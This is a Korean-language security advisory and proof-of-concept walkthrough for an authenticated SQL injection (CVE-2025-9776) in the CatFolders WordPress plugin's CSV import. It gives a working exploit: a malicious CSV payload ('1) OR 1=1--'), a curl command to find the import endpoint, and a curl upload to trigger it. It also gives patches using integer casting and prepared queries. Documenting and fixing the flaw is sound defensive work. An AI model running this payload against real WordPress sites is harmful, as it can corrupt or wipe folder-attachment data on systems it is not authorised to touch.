
CVE-2025-9776 — CatFolders WordPress 플러그인: CSV 가져오기를 통한 인증된 SQL 인젝션 | POC + 워크스루
CatFolders 워드프레스 플러그인에서 악의적인 CSV 가져오기를 통해 데이터베이스 쿼리를 조작할 수 있는 인증된 SQL 인젝션 취약점이 발견되었습니다. 이 취약점은 Author 이상의 권한을 가진 사용자가 악용할 수 있습니다.
발견자: Kai Aizen (SnailSploit)
공개일: 2025
CVSS 점수: 6.5 (Medium)
CWE: CWE-89 - SQL 인젝션
CatFolders – Tame Your WordPress Media Library by Category 플러그인의 CSV 가져오기 기능에 인증된 SQL 인젝션 취약점이 존재합니다. 사용자가 제공한 CSV 파일의 attachments 열이 리스트로 분할되어 FolderModel::set_attachments()에 전달됩니다. 이 메서드는 해당 값들을 적절한 살균 처리나 매개변수화 없이 원시 SQL IN (...) 절에 연결합니다.
이 취약점을 통해 Author 이상의 권한을 가진 인증된 공격자는 다음을 수행할 수 있습니다:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L
| 메트릭 | 값 |
|---|---|
| 공격 경로 | 네트워크 (AV:N) |
| 공격 복잡도 | 낮음 (AC:L) |
| 필요한 권한 | 낮음 (PR:L) - Author+ |
| 사용자 상호작용 | 없음 (UI:N) |
| 영향 범위 | 변경되지 않음 (S:U) |
| 기밀성 | 없음 (C:N) |
| 무결성 | 낮음 (I:L) |
| 가용성 | 낮음 (A:L) |
CSV 가져오기 워크플로우에 취약점이 존재합니다:
파일: includes/Rest/Controllers/ImportController.php
import_csv 메서드는 업로드된 CSV를 필드별 살균 처리 없이 파싱합니다.restore_folders()가 다음을 호출합니다:FolderModel::set_attachments(
$new_folder['id'],
explode(',', $folder['attachments']),
false
);
파일: includes/Models/FolderModel.php
set_attachments()는 문자열 연결을 사용하여 원시 SQL을 생성합니다:'raw' => 'post_id IN (' . $attachmentIds . ')'
Author 이상의 권한(upload_files 기능)을 가진 공격자는 CSV 가져오기 엔드포인트를 통해 악의적인 SQL을 주입할 수 있습니다:
악의적인 CSV 페이로드:
id,name,attachments
1,Test Folder,"1) OR 1=1--"
결과로 생성되는 취약한 쿼리:
SELECT folder_id FROM wp_catf_folder_posts
WHERE post_id IN (1) OR 1=1--)
이는 IN(...) 절을 벗어나 쿼리 의미를 변경하며, 잠재적으로 모든 행에 영향을 미칠 수 있습니다.
curl -s https://target.site/wp-json | jq -r '.routes | keys[]' | grep '/import-csv$'
일반적인 결과: /catf/v1/import-csv
catf_inject.csv 파일 생성:
id,name,attachments
1,Malicious Folder,"1) OR 1=1--"
NS="/catf/v1" # 발견된 네임스페이스로 대체
curl -i \
-u 'author_user:APPLICATION_PASSWORD' \
-F "file=@catf_inject.csv;type=text/csv" \
-X POST "https://target.site/wp-json${NS}/import-csv"
예상 응답:
{ "success": true }
서버는 다음 쿼리를 구성하고 실행합니다:
SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1--)
이는 의도된 것보다 광범위한 DELETE/INSERT 작업을 수행할 수 있으며, 종종 전체 데이터베이스의 폴더-첨부파일 관계를 삭제합니다.
취약점을 안전하게 관찰하려면 독립형 SQLite 시뮬레이션을 실행하세요:
python3 poc/catfolders_sql_poc.py
이 스크립트는 취약한 쿼리를 출력하고, 악의적인 토큰이 모든 행을 반환하는 반면 매개변수화된 버전은 이를 적절히 차단하는 방법을 보여줍니다.
즉시 조치 필요:
두 가지 최소한의 강화 단계:
- FolderModel::set_attachments( $new_folder['id'], explode(',', $folder['attachments']), false );
+ $ids = array_filter( array_map( 'intval', explode(',', $folder['attachments']) ) );
+ if ( ! empty( $ids ) ) {
+ FolderModel::set_attachments( (int) $new_folder['id'], $ids, false );
+ }
set_attachments() 내에서 정수 강제 변환 $imgIds = apply_filters( 'catf_attachment_ids_to_folder', $imgIds );
+ $imgIds = array_values( array_filter( array_map( 'intval', (array) $imgIds ) ) );
모든 원시 SQL 연결을 WordPress의 $wpdb->prepare()를 사용한 매개변수화된 쿼리로 대체:
$placeholders = implode(',', array_fill(0, count($imgIds), '%d'));
$query = $wpdb->prepare(
"SELECT folder_id FROM {$wpdb->prefix}catf_folder_posts WHERE post_id IN ($placeholders)",
...$imgIds
);
추가적으로:
완전한 패치는 patch/catfolders_fix.patch에서 확인 가능
CVE-2025-9776/
├── README.md # 이 파일
├── poc/
│ ├── catf_inject.csv # 악의적인 CSV 페이로드
│ └── catfolders_sql_poc.py # 안전한 SQLite 시뮬레이션
└── patch/
└── catfolders_fix.patch # 권장 수정 사항
연구자: Kai Aizen (SnailSploit)
공개 과정: Wordfence 버그 바운티 프로그램을 통해 조정됨
⚠️ 중요 면책 조항
이 개념 증명은 방어적 연구 및 교육 목적으로만 제공됩니다.
허가 없이 컴퓨터 시스템에 접근하는 것은 다음 법률을 포함한 여러 법률을 위반합니다:
본인의 책임 하에 사용하십시오. 연구자와 SnailSploit는 이 정보의 오용에 대해 어떠한 책임도 지지 않습니다.
이 취약점에 대한 문의나 추가 정보가 필요하시면:
안전을 유지하고 워드프레스 설치를 최신 상태로 유지하세요!
최종 업데이트: 2025년 10월 13일
이 프로젝트의 전체 작성 내용, 방법론 및 관련 연구는 다음에서 확인할 수 있습니다:
Kai Aizen — 독립적인 공격적 보안 연구자
snailsploit.com · 연구 · 프레임워크 · GitHub · LinkedIn · ResearchGate · X/Twitter
동일한 공격. 다른 기반.